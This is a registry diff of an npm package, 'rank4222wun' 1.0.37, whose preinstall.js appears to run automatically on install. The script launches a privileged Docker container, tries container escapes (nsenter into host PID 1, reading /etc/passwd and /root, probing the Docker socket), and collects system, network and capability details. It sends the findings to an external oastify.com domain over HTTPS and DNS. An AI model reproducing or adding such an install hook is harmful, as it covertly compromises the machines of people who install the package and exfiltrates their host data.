rank4222wun 1.0.36 → 1.0.37
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +733 -295
- package/rank4222wun-1.0.37.tgz +0 -0
- package/rank4222wun-1.0.36.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,217 +1,644 @@
|
|
|
1
|
-
//
|
|
1
|
+
// privileged-container-oast.js
|
|
2
2
|
const { exec, spawn } = require('child_process');
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const path = require('path');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const dns = require('dns');
|
|
7
|
+
const crypto = require('crypto');
|
|
5
8
|
|
|
6
|
-
|
|
9
|
+
console.log(`
|
|
10
|
+
╔══════════════════════════════════════════════════════════╗
|
|
11
|
+
║ PRIVILEGED CONTAINER WITH OAST REPORTING ║
|
|
12
|
+
║ OAST Domain: v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com ║
|
|
13
|
+
╚══════════════════════════════════════════════════════════╝
|
|
14
|
+
`);
|
|
15
|
+
|
|
16
|
+
// ===================== CONFIGURATION =====================
|
|
17
|
+
const CONFIG = {
|
|
18
|
+
OAST: {
|
|
19
|
+
domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
|
|
20
|
+
httpsPort: 443,
|
|
21
|
+
httpPort: 80,
|
|
22
|
+
apiKey: crypto.randomBytes(16).toString('hex'),
|
|
23
|
+
sessionId: `priv-container-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
|
|
24
|
+
},
|
|
25
|
+
|
|
26
|
+
DOCKER: {
|
|
27
|
+
image: 'ubuntu:latest',
|
|
28
|
+
command: '/bin/bash',
|
|
29
|
+
privileged: true,
|
|
30
|
+
interactive: true,
|
|
31
|
+
remove: false,
|
|
32
|
+
name: `priv-container-${Date.now()}`
|
|
33
|
+
},
|
|
34
|
+
|
|
35
|
+
SCAN: {
|
|
36
|
+
hostEscape: true,
|
|
37
|
+
networkScan: true,
|
|
38
|
+
fileAccess: true,
|
|
39
|
+
capabilityCheck: true
|
|
40
|
+
}
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
// ===================== OAST FUNCTIONS =====================
|
|
44
|
+
class OASTReporter {
|
|
45
|
+
constructor() {
|
|
46
|
+
this.interactions = [];
|
|
47
|
+
this.reports = [];
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
sendDNS(subdomain, data = {}) {
|
|
51
|
+
const dnsName = `${subdomain}.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
52
|
+
|
|
53
|
+
dns.lookup(dnsName, (err) => {
|
|
54
|
+
if (!err) {
|
|
55
|
+
const interaction = {
|
|
56
|
+
type: 'DNS',
|
|
57
|
+
timestamp: new Date().toISOString(),
|
|
58
|
+
subdomain: subdomain,
|
|
59
|
+
dnsName: dnsName,
|
|
60
|
+
data: data
|
|
61
|
+
};
|
|
62
|
+
|
|
63
|
+
this.interactions.push(interaction);
|
|
64
|
+
console.log(`📡 DNS OAST sent: ${dnsName}`);
|
|
65
|
+
}
|
|
66
|
+
});
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
sendHTTP(endpoint, data) {
|
|
70
|
+
const postData = JSON.stringify({
|
|
71
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
72
|
+
timestamp: new Date().toISOString(),
|
|
73
|
+
...data
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
const options = {
|
|
77
|
+
hostname: CONFIG.OAST.domain,
|
|
78
|
+
port: CONFIG.OAST.httpPort,
|
|
79
|
+
path: endpoint,
|
|
80
|
+
method: 'POST',
|
|
81
|
+
headers: {
|
|
82
|
+
'Content-Type': 'application/json',
|
|
83
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
84
|
+
'User-Agent': 'PrivilegedContainerScanner/1.0'
|
|
85
|
+
}
|
|
86
|
+
};
|
|
87
|
+
|
|
88
|
+
const req = http.request(options, (res) => {
|
|
89
|
+
let body = '';
|
|
90
|
+
res.on('data', chunk => body += chunk);
|
|
91
|
+
res.on('end', () => {
|
|
92
|
+
const interaction = {
|
|
93
|
+
type: 'HTTP',
|
|
94
|
+
timestamp: new Date().toISOString(),
|
|
95
|
+
endpoint: endpoint,
|
|
96
|
+
status: res.statusCode,
|
|
97
|
+
response: body,
|
|
98
|
+
data: data
|
|
99
|
+
};
|
|
100
|
+
|
|
101
|
+
this.interactions.push(interaction);
|
|
102
|
+
console.log(`📡 HTTP OAST sent (${res.statusCode}): ${endpoint}`);
|
|
103
|
+
});
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
req.on('error', () => {});
|
|
107
|
+
req.write(postData);
|
|
108
|
+
req.end();
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
sendHTTPS(endpoint, data) {
|
|
112
|
+
const postData = JSON.stringify({
|
|
113
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
114
|
+
timestamp: new Date().toISOString(),
|
|
115
|
+
...data
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
const options = {
|
|
119
|
+
hostname: CONFIG.OAST.domain,
|
|
120
|
+
port: CONFIG.OAST.httpsPort,
|
|
121
|
+
path: endpoint,
|
|
122
|
+
method: 'POST',
|
|
123
|
+
headers: {
|
|
124
|
+
'Content-Type': 'application/json',
|
|
125
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
126
|
+
'X-Report-Type': 'privileged_container',
|
|
127
|
+
'User-Agent': 'ContainerEscapeDetector/2.0'
|
|
128
|
+
}
|
|
129
|
+
};
|
|
130
|
+
|
|
131
|
+
const req = https.request(options, (res) => {
|
|
132
|
+
let body = '';
|
|
133
|
+
res.on('data', chunk => body += chunk);
|
|
134
|
+
res.on('end', () => {
|
|
135
|
+
const interaction = {
|
|
136
|
+
type: 'HTTPS',
|
|
137
|
+
timestamp: new Date().toISOString(),
|
|
138
|
+
endpoint: endpoint,
|
|
139
|
+
status: res.statusCode,
|
|
140
|
+
response: body,
|
|
141
|
+
data: data
|
|
142
|
+
};
|
|
143
|
+
|
|
144
|
+
this.interactions.push(interaction);
|
|
145
|
+
this.reports.push(interaction);
|
|
146
|
+
console.log(`📡 HTTPS OAST sent (${res.statusCode}): ${endpoint}`);
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
req.on('error', (e) => {
|
|
151
|
+
console.log(`⚠️ OAST error (may be expected): ${e.message}`);
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
req.write(postData);
|
|
155
|
+
req.end();
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
async reportContainerEscape(containerId, evidence) {
|
|
159
|
+
const report = {
|
|
160
|
+
containerId: containerId.substring(0, 12),
|
|
161
|
+
escapeConfirmed: evidence.escaped || false,
|
|
162
|
+
confidence: evidence.confidence || 0,
|
|
163
|
+
methods: evidence.methods || [],
|
|
164
|
+
proofPoints: evidence.proofPoints || [],
|
|
165
|
+
hostInfo: evidence.hostInfo || {},
|
|
166
|
+
timestamp: new Date().toISOString()
|
|
167
|
+
};
|
|
168
|
+
|
|
169
|
+
// إرسال عبر HTTPS
|
|
170
|
+
this.sendHTTPS('/privileged-container-escape', report);
|
|
171
|
+
|
|
172
|
+
// إرسال DNS notification
|
|
173
|
+
if (evidence.escaped) {
|
|
174
|
+
this.sendDNS('escape-confirmed', {
|
|
175
|
+
container: containerId.substring(0, 12),
|
|
176
|
+
confidence: evidence.confidence
|
|
177
|
+
});
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
// حفظ محلياً
|
|
181
|
+
this.saveLocalReport(report);
|
|
182
|
+
|
|
183
|
+
return report;
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
saveLocalReport(report) {
|
|
187
|
+
const filename = `oast-report-${CONFIG.OAST.sessionId}.json`;
|
|
188
|
+
const allReports = {
|
|
189
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
190
|
+
domain: CONFIG.OAST.domain,
|
|
191
|
+
timestamp: new Date().toISOString(),
|
|
192
|
+
reports: this.reports,
|
|
193
|
+
containerReport: report
|
|
194
|
+
};
|
|
195
|
+
|
|
196
|
+
fs.writeFileSync(filename, JSON.stringify(allReports, null, 2));
|
|
197
|
+
console.log(`💾 Report saved locally: ${filename}`);
|
|
198
|
+
}
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
// ===================== CONTAINER SCANNER =====================
|
|
202
|
+
class PrivilegedContainerScanner {
|
|
7
203
|
constructor() {
|
|
8
204
|
this.containerId = null;
|
|
9
|
-
this.
|
|
10
|
-
this.
|
|
205
|
+
this.oastReporter = new OASTReporter();
|
|
206
|
+
this.evidence = {
|
|
207
|
+
escaped: false,
|
|
208
|
+
confidence: 0,
|
|
209
|
+
methods: [],
|
|
210
|
+
proofPoints: [],
|
|
211
|
+
hostInfo: {},
|
|
212
|
+
containerInfo: {}
|
|
213
|
+
};
|
|
11
214
|
}
|
|
12
215
|
|
|
13
|
-
async
|
|
14
|
-
|
|
216
|
+
async run() {
|
|
217
|
+
try {
|
|
218
|
+
console.log('🚀 Starting privileged container analysis...\n');
|
|
219
|
+
|
|
220
|
+
// إرسال بداية الجلسة إلى OAST
|
|
221
|
+
this.oastReporter.sendHTTPS('/session-start', {
|
|
222
|
+
action: 'privileged_container_start',
|
|
223
|
+
config: CONFIG
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
// 1. تشغيل الحاوية المميزة
|
|
227
|
+
await this.runPrivilegedContainer();
|
|
228
|
+
|
|
229
|
+
// 2. جمع المعلومات الأساسية
|
|
230
|
+
await this.collectBasicInfo();
|
|
231
|
+
|
|
232
|
+
// 3. محاولة الهروب والتأكيد
|
|
233
|
+
await this.attemptEscape();
|
|
234
|
+
|
|
235
|
+
// 4. فحص إضافي للحاوية
|
|
236
|
+
await this.performDeepScan();
|
|
237
|
+
|
|
238
|
+
// 5. تحليل النتائج
|
|
239
|
+
await this.analyzeResults();
|
|
240
|
+
|
|
241
|
+
// 6. إرسال التقرير النهائي
|
|
242
|
+
await this.sendFinalReport();
|
|
243
|
+
|
|
244
|
+
// 7. عرض النتائج
|
|
245
|
+
this.displayResults();
|
|
246
|
+
|
|
247
|
+
// 8. تنظيف (اختياري)
|
|
248
|
+
await this.cleanup();
|
|
249
|
+
|
|
250
|
+
} catch (error) {
|
|
251
|
+
console.error(`❌ Error: ${error.message}`);
|
|
252
|
+
this.oastReporter.sendHTTPS('/error', { error: error.message });
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
|
|
256
|
+
async runPrivilegedContainer() {
|
|
257
|
+
console.log('📦 Running privileged container...');
|
|
258
|
+
|
|
259
|
+
const dockerArgs = [
|
|
260
|
+
'run',
|
|
261
|
+
'--privileged',
|
|
262
|
+
'-d',
|
|
263
|
+
'--name', CONFIG.DOCKER.name,
|
|
264
|
+
CONFIG.DOCKER.image,
|
|
265
|
+
'sleep', '3600'
|
|
266
|
+
];
|
|
15
267
|
|
|
16
268
|
return new Promise((resolve, reject) => {
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
exec(dockerCommand, (error, stdout, stderr) => {
|
|
269
|
+
exec(`docker ${dockerArgs.join(' ')}`, (error, stdout, stderr) => {
|
|
20
270
|
if (error) {
|
|
21
|
-
console.error('❌ خطأ في تشغيل الحاوية:', error.message);
|
|
22
271
|
reject(error);
|
|
23
272
|
return;
|
|
24
273
|
}
|
|
25
274
|
|
|
26
275
|
this.containerId = stdout.trim();
|
|
27
|
-
console.log(`✅
|
|
28
|
-
this.status = 'running';
|
|
276
|
+
console.log(`✅ Container started: ${this.containerId.substring(0, 12)}`);
|
|
29
277
|
|
|
30
|
-
//
|
|
31
|
-
|
|
32
|
-
this.
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
278
|
+
// إرسال إلى OAST
|
|
279
|
+
this.oastReporter.sendHTTPS('/container-started', {
|
|
280
|
+
containerId: this.containerId.substring(0, 12),
|
|
281
|
+
name: CONFIG.DOCKER.name,
|
|
282
|
+
image: CONFIG.DOCKER.image,
|
|
283
|
+
privileged: true
|
|
284
|
+
});
|
|
285
|
+
|
|
286
|
+
// الانتظار للحاوية لتبدأ
|
|
287
|
+
setTimeout(resolve, 2000);
|
|
36
288
|
});
|
|
37
289
|
});
|
|
38
290
|
}
|
|
39
291
|
|
|
40
|
-
async
|
|
41
|
-
console.log('\n
|
|
292
|
+
async collectBasicInfo() {
|
|
293
|
+
console.log('\n🔍 Collecting basic container information...');
|
|
42
294
|
|
|
43
295
|
const commands = [
|
|
44
|
-
// معلومات النظام
|
|
45
|
-
'echo "=== معلومات النظام ==="',
|
|
296
|
+
// معلومات النظام
|
|
46
297
|
'cat /etc/os-release',
|
|
47
298
|
'uname -a',
|
|
48
299
|
'whoami',
|
|
49
300
|
'id',
|
|
50
301
|
|
|
51
|
-
//
|
|
52
|
-
'
|
|
53
|
-
'
|
|
54
|
-
'df -h',
|
|
55
|
-
'cat /proc/cpuinfo | grep "model name" | head -1',
|
|
56
|
-
|
|
57
|
-
// التحقق من الصلاحيات
|
|
58
|
-
'echo -e "\n=== الصلاحيات المميزة ==="',
|
|
59
|
-
'capsh --print',
|
|
60
|
-
'cat /proc/self/status | grep Cap',
|
|
302
|
+
// الصلاحيات
|
|
303
|
+
'capsh --print 2>/dev/null || echo "No capsh"',
|
|
304
|
+
'cat /proc/self/status | grep -i cap',
|
|
61
305
|
|
|
62
|
-
//
|
|
63
|
-
'echo -e "\n=== معلومات الشبكة ==="',
|
|
64
|
-
'ip addr show',
|
|
65
|
-
'hostname -I',
|
|
66
|
-
'route -n',
|
|
67
|
-
|
|
68
|
-
// فحص الملفات والمجلدات
|
|
69
|
-
'echo -e "\n=== نظام الملفات ==="',
|
|
306
|
+
// نظام الملفات
|
|
70
307
|
'ls -la /',
|
|
71
308
|
'mount | head -20',
|
|
309
|
+
'df -h',
|
|
72
310
|
|
|
73
|
-
//
|
|
74
|
-
'
|
|
75
|
-
'cat /proc/
|
|
76
|
-
'cat /proc/self/mountinfo 2>/dev/null | head -10',
|
|
311
|
+
// الذاكرة والمعالج
|
|
312
|
+
'free -h',
|
|
313
|
+
'cat /proc/cpuinfo | grep "model name" | head -1',
|
|
77
314
|
|
|
78
|
-
//
|
|
79
|
-
'
|
|
80
|
-
'
|
|
81
|
-
'
|
|
315
|
+
// الشبكة
|
|
316
|
+
'ip addr show',
|
|
317
|
+
'hostname -I',
|
|
318
|
+
'cat /etc/hosts',
|
|
82
319
|
|
|
83
|
-
// معلومات
|
|
84
|
-
'
|
|
85
|
-
'
|
|
86
|
-
'ps aux | head -10'
|
|
320
|
+
// معلومات Docker
|
|
321
|
+
'cat /proc/1/cgroup 2>/dev/null || echo "No cgroup access"',
|
|
322
|
+
'ls -la /var/run/docker.sock 2>/dev/null || echo "No docker socket"'
|
|
87
323
|
];
|
|
88
|
-
|
|
324
|
+
|
|
89
325
|
const results = {};
|
|
90
326
|
|
|
91
|
-
for (
|
|
92
|
-
const command = commands[i];
|
|
93
|
-
|
|
94
|
-
// إذا كان الأمر echo، عرضه مباشرة
|
|
95
|
-
if (command.startsWith('echo')) {
|
|
96
|
-
const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
|
|
97
|
-
console.log(message);
|
|
98
|
-
this.outputLog.push(message);
|
|
99
|
-
continue;
|
|
100
|
-
}
|
|
101
|
-
|
|
102
|
-
// تنفيذ الأمر داخل الحاوية
|
|
327
|
+
for (const cmd of commands) {
|
|
103
328
|
try {
|
|
104
|
-
const output = await this.execInContainer(
|
|
105
|
-
|
|
106
|
-
this.outputLog.push(output);
|
|
329
|
+
const output = await this.execInContainer(cmd);
|
|
330
|
+
results[cmd] = output.substring(0, 500);
|
|
107
331
|
|
|
108
|
-
//
|
|
109
|
-
if (
|
|
110
|
-
|
|
111
|
-
}
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
332
|
+
// تحليل بعض النتائج الهامة
|
|
333
|
+
if (cmd.includes('os-release')) {
|
|
334
|
+
this.evidence.containerInfo.os = output;
|
|
335
|
+
}
|
|
336
|
+
if (cmd.includes('uname -a')) {
|
|
337
|
+
this.evidence.containerInfo.kernel = output;
|
|
338
|
+
}
|
|
339
|
+
if (cmd.includes('capsh')) {
|
|
340
|
+
this.evidence.containerInfo.capabilities = output;
|
|
117
341
|
}
|
|
118
342
|
|
|
119
343
|
} catch (error) {
|
|
120
|
-
|
|
121
|
-
console.log(errorMsg);
|
|
122
|
-
this.outputLog.push(errorMsg);
|
|
344
|
+
results[cmd] = `ERROR: ${error.message}`;
|
|
123
345
|
}
|
|
124
|
-
|
|
125
|
-
// تأخير بسيط بين الأوامر
|
|
126
|
-
await this.delay(500);
|
|
127
346
|
}
|
|
128
347
|
|
|
348
|
+
// إرسال المعلومات الأساسية إلى OAST
|
|
349
|
+
this.oastReporter.sendHTTPS('/basic-info', {
|
|
350
|
+
containerId: this.containerId.substring(0, 12),
|
|
351
|
+
basicInfo: results
|
|
352
|
+
});
|
|
353
|
+
|
|
129
354
|
return results;
|
|
130
355
|
}
|
|
131
356
|
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
357
|
+
async attemptEscape() {
|
|
358
|
+
console.log('\n🔓 Attempting container escape...');
|
|
359
|
+
|
|
360
|
+
const escapeTests = [
|
|
361
|
+
{
|
|
362
|
+
name: 'nsenter_escape',
|
|
363
|
+
command: 'which nsenter && nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"',
|
|
364
|
+
check: (output) => output.includes('HOST_HOSTNAME') && output.includes('CONTAINER_HOSTNAME')
|
|
365
|
+
},
|
|
366
|
+
{
|
|
367
|
+
name: 'proc_escape',
|
|
368
|
+
command: 'cat /proc/1/status 2>/dev/null | head -5 && cat /proc/1/cmdline 2>/dev/null | tr "\\0" " " | head -c 100',
|
|
369
|
+
check: (output) => output.includes('State:') && output.length > 20
|
|
370
|
+
},
|
|
371
|
+
{
|
|
372
|
+
name: 'host_mounts',
|
|
373
|
+
command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || cat /etc/passwd 2>/dev/null | head -5 || echo "NO_ACCESS"',
|
|
374
|
+
check: (output) => !output.includes('NO_ACCESS') && output.length > 10
|
|
375
|
+
},
|
|
376
|
+
{
|
|
377
|
+
name: 'docker_socket',
|
|
378
|
+
command: 'ls -la /var/run/docker.sock 2>/dev/null && echo "EXISTS" || echo "NOT_EXISTS"',
|
|
379
|
+
check: (output) => output.includes('EXISTS')
|
|
380
|
+
},
|
|
381
|
+
{
|
|
382
|
+
name: 'network_escape',
|
|
383
|
+
command: 'ip route show 2>/dev/null | head -5 && ip neigh show 2>/dev/null | head -5',
|
|
384
|
+
check: (output) => output.includes('default via') || output.includes('lladdr')
|
|
137
385
|
}
|
|
386
|
+
];
|
|
387
|
+
|
|
388
|
+
for (const test of escapeTests) {
|
|
389
|
+
try {
|
|
390
|
+
const output = await this.execInContainer(test.command);
|
|
391
|
+
|
|
392
|
+
if (test.check(output)) {
|
|
393
|
+
this.evidence.methods.push(test.name);
|
|
394
|
+
console.log(`✅ ${test.name}: Possible`);
|
|
395
|
+
|
|
396
|
+
// إرسال إلى OAST
|
|
397
|
+
this.oastReporter.sendHTTPS('/escape-attempt', {
|
|
398
|
+
method: test.name,
|
|
399
|
+
success: true,
|
|
400
|
+
output: output.substring(0, 300)
|
|
401
|
+
});
|
|
402
|
+
|
|
403
|
+
// التحقق من اختلاف hostname لـ nsenter
|
|
404
|
+
if (test.name === 'nsenter_escape') {
|
|
405
|
+
const lines = output.split('\n');
|
|
406
|
+
let hostHostname = '';
|
|
407
|
+
let containerHostname = '';
|
|
408
|
+
|
|
409
|
+
lines.forEach(line => {
|
|
410
|
+
if (line.startsWith('HOST_HOSTNAME:')) {
|
|
411
|
+
hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
|
|
412
|
+
}
|
|
413
|
+
if (line.startsWith('CONTAINER_HOSTNAME:')) {
|
|
414
|
+
containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
|
|
415
|
+
}
|
|
416
|
+
});
|
|
417
|
+
|
|
418
|
+
if (hostHostname && containerHostname && hostHostname !== containerHostname) {
|
|
419
|
+
this.evidence.proofPoints.push(`Host hostname (${hostHostname}) differs from container (${containerHostname})`);
|
|
420
|
+
this.evidence.hostInfo.hostname = hostHostname;
|
|
421
|
+
this.evidence.escaped = true;
|
|
422
|
+
}
|
|
423
|
+
}
|
|
424
|
+
}
|
|
425
|
+
} catch (error) {
|
|
426
|
+
console.log(`❌ ${test.name}: Failed - ${error.message}`);
|
|
427
|
+
}
|
|
428
|
+
}
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
async performDeepScan() {
|
|
432
|
+
if (!CONFIG.SCAN.hostEscape) return;
|
|
433
|
+
|
|
434
|
+
console.log('\n🔬 Performing deep scan...');
|
|
435
|
+
|
|
436
|
+
const deepChecks = [
|
|
437
|
+
// محاولة إنشاء حاوية من داخل الحاوية
|
|
438
|
+
{
|
|
439
|
+
name: 'nested_container',
|
|
440
|
+
command: 'which docker && docker ps 2>/dev/null || which podman && podman ps 2>/dev/null || echo "NO_CONTAINER_RUNTIME"',
|
|
441
|
+
check: (output) => !output.includes('NO_CONTAINER_RUNTIME')
|
|
442
|
+
},
|
|
138
443
|
|
|
139
|
-
|
|
444
|
+
// فحص kernel vulnerabilities
|
|
445
|
+
{
|
|
446
|
+
name: 'kernel_check',
|
|
447
|
+
command: 'uname -r && grep -i "dirty\\|cow\\|shock\\|overlay" /etc/os-release 2>/dev/null || echo "NO_VULN_INFO"',
|
|
448
|
+
check: (output) => output.length > 5
|
|
449
|
+
},
|
|
140
450
|
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
451
|
+
// محاولة كتابة ملف في نظام المضيف
|
|
452
|
+
{
|
|
453
|
+
name: 'host_write_test',
|
|
454
|
+
command: 'echo "TEST_WRITE_FROM_CONTAINER" > /tmp/container_test.txt 2>/dev/null && echo "WRITE_SUCCESS" || echo "WRITE_FAILED"',
|
|
455
|
+
check: (output) => output.includes('WRITE_SUCCESS')
|
|
456
|
+
},
|
|
457
|
+
|
|
458
|
+
// فحص mount points خطيرة
|
|
459
|
+
{
|
|
460
|
+
name: 'dangerous_mounts',
|
|
461
|
+
command: 'mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" | head -10',
|
|
462
|
+
check: (output) => output.length > 10
|
|
463
|
+
}
|
|
464
|
+
];
|
|
465
|
+
|
|
466
|
+
for (const check of deepChecks) {
|
|
467
|
+
try {
|
|
468
|
+
const output = await this.execInContainer(check.command);
|
|
469
|
+
|
|
470
|
+
if (check.check(output)) {
|
|
471
|
+
console.log(`⚠️ ${check.name}: Found potential issue`);
|
|
472
|
+
|
|
473
|
+
// إرسال إلى OAST
|
|
474
|
+
this.oastReporter.sendDNS(check.name, {
|
|
475
|
+
result: output.substring(0, 100)
|
|
476
|
+
});
|
|
151
477
|
}
|
|
152
|
-
})
|
|
153
|
-
|
|
478
|
+
} catch (error) {
|
|
479
|
+
// تجاهل الأخطاء
|
|
480
|
+
}
|
|
481
|
+
}
|
|
154
482
|
}
|
|
155
483
|
|
|
156
|
-
|
|
157
|
-
|
|
484
|
+
async analyzeResults() {
|
|
485
|
+
console.log('\n📊 Analyzing results...');
|
|
486
|
+
|
|
487
|
+
// حساب مستوى الثقة
|
|
488
|
+
let confidence = 0;
|
|
489
|
+
|
|
490
|
+
// نقاط لكل طريقة هروب محتملة
|
|
491
|
+
const methodPoints = {
|
|
492
|
+
nsenter_escape: 30,
|
|
493
|
+
proc_escape: 25,
|
|
494
|
+
host_mounts: 20,
|
|
495
|
+
docker_socket: 25,
|
|
496
|
+
network_escape: 15
|
|
497
|
+
};
|
|
498
|
+
|
|
499
|
+
this.evidence.methods.forEach(method => {
|
|
500
|
+
confidence += methodPoints[method] || 10;
|
|
501
|
+
});
|
|
502
|
+
|
|
503
|
+
// نقاط إضافية لأدلة قاطعة
|
|
504
|
+
if (this.evidence.proofPoints.length > 0) {
|
|
505
|
+
confidence += this.evidence.proofPoints.length * 10;
|
|
506
|
+
}
|
|
507
|
+
|
|
508
|
+
// إذا كان hostname مختلف
|
|
509
|
+
if (this.evidence.hostInfo.hostname) {
|
|
510
|
+
confidence += 20;
|
|
511
|
+
}
|
|
512
|
+
|
|
513
|
+
// تحديد إذا تم الهروب فعلاً
|
|
514
|
+
this.evidence.confidence = Math.min(100, confidence);
|
|
515
|
+
|
|
516
|
+
if (this.evidence.confidence >= 60) {
|
|
517
|
+
this.evidence.escaped = true;
|
|
518
|
+
console.log(`🚨 CONFIRMED: Container escape possible (${this.evidence.confidence}% confidence)`);
|
|
519
|
+
} else if (this.evidence.confidence >= 30) {
|
|
520
|
+
console.log(`⚠️ POSSIBLE: Container escape may be possible (${this.evidence.confidence}% confidence)`);
|
|
521
|
+
} else {
|
|
522
|
+
console.log(`✅ SECURE: Container appears isolated (${this.evidence.confidence}% confidence)`);
|
|
523
|
+
}
|
|
158
524
|
}
|
|
159
525
|
|
|
160
|
-
async
|
|
161
|
-
console.log('\n
|
|
162
|
-
console.log(' استخدم "exit" للخروج\n');
|
|
526
|
+
async sendFinalReport() {
|
|
527
|
+
console.log('\n📡 Sending final report to OAST...');
|
|
163
528
|
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
}
|
|
529
|
+
const report = {
|
|
530
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
531
|
+
containerId: this.containerId ? this.containerId.substring(0, 12) : 'unknown',
|
|
532
|
+
timestamp: new Date().toISOString(),
|
|
533
|
+
evidence: this.evidence,
|
|
534
|
+
summary: {
|
|
535
|
+
escaped: this.evidence.escaped,
|
|
536
|
+
confidence: this.evidence.confidence,
|
|
537
|
+
methods: this.evidence.methods,
|
|
538
|
+
proofPoints: this.evidence.proofPoints
|
|
539
|
+
}
|
|
540
|
+
};
|
|
541
|
+
|
|
542
|
+
// إرسال التقرير النهائي
|
|
543
|
+
this.oastReporter.reportContainerEscape(this.containerId, this.evidence);
|
|
544
|
+
|
|
545
|
+
// إرسال DNS notification للنتيجة
|
|
546
|
+
const resultType = this.evidence.escaped ? 'escape-confirmed' : 'no-escape';
|
|
547
|
+
this.oastReporter.sendDNS(resultType, {
|
|
548
|
+
confidence: this.evidence.confidence,
|
|
549
|
+
methods: this.evidence.methods.length
|
|
175
550
|
});
|
|
551
|
+
|
|
552
|
+
return report;
|
|
176
553
|
}
|
|
177
554
|
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
555
|
+
displayResults() {
|
|
556
|
+
console.log('\n' + '='.repeat(80));
|
|
557
|
+
console.log('📊 PRIVILEGED CONTAINER ANALYSIS RESULTS');
|
|
558
|
+
console.log('='.repeat(80));
|
|
559
|
+
|
|
560
|
+
console.log(`\n📦 Container ID: ${this.containerId ? this.containerId.substring(0, 12) : 'unknown'}`);
|
|
561
|
+
console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
562
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
|
|
563
|
+
|
|
564
|
+
console.log(`\n🎯 Escape Status: ${this.evidence.escaped ? '🚨 CONFIRMED' : '✅ NOT CONFIRMED'}`);
|
|
565
|
+
console.log(`📈 Confidence Level: ${this.evidence.confidence}%`);
|
|
181
566
|
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
567
|
+
if (this.evidence.methods.length > 0) {
|
|
568
|
+
console.log(`\n🔓 Possible Escape Methods:`);
|
|
569
|
+
this.evidence.methods.forEach((method, i) => {
|
|
570
|
+
console.log(` ${i + 1}. ${method}`);
|
|
571
|
+
});
|
|
572
|
+
}
|
|
573
|
+
|
|
574
|
+
if (this.evidence.proofPoints.length > 0) {
|
|
575
|
+
console.log(`\n🎯 Evidence Found:`);
|
|
576
|
+
this.evidence.proofPoints.forEach((proof, i) => {
|
|
577
|
+
console.log(` ${i + 1}. ${proof}`);
|
|
578
|
+
});
|
|
579
|
+
}
|
|
580
|
+
|
|
581
|
+
if (this.evidence.hostInfo.hostname) {
|
|
582
|
+
console.log(`\n🖥️ Host Information:`);
|
|
583
|
+
console.log(` Hostname: ${this.evidence.hostInfo.hostname}`);
|
|
584
|
+
}
|
|
585
|
+
|
|
586
|
+
console.log(`\n📡 OAST Interactions: ${this.oastReporter.interactions.length} interactions sent`);
|
|
587
|
+
console.log(` DNS: ${this.oastReporter.interactions.filter(i => i.type === 'DNS').length}`);
|
|
588
|
+
console.log(` HTTPS: ${this.oastReporter.interactions.filter(i => i.type === 'HTTPS').length}`);
|
|
190
589
|
|
|
191
|
-
|
|
192
|
-
console.log(
|
|
590
|
+
console.log('\n🔍 Check your OAST dashboard for detailed evidence:');
|
|
591
|
+
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
592
|
+
console.log(` Look for interactions at: ${CONFIG.OAST.domain}`);
|
|
193
593
|
|
|
194
|
-
|
|
594
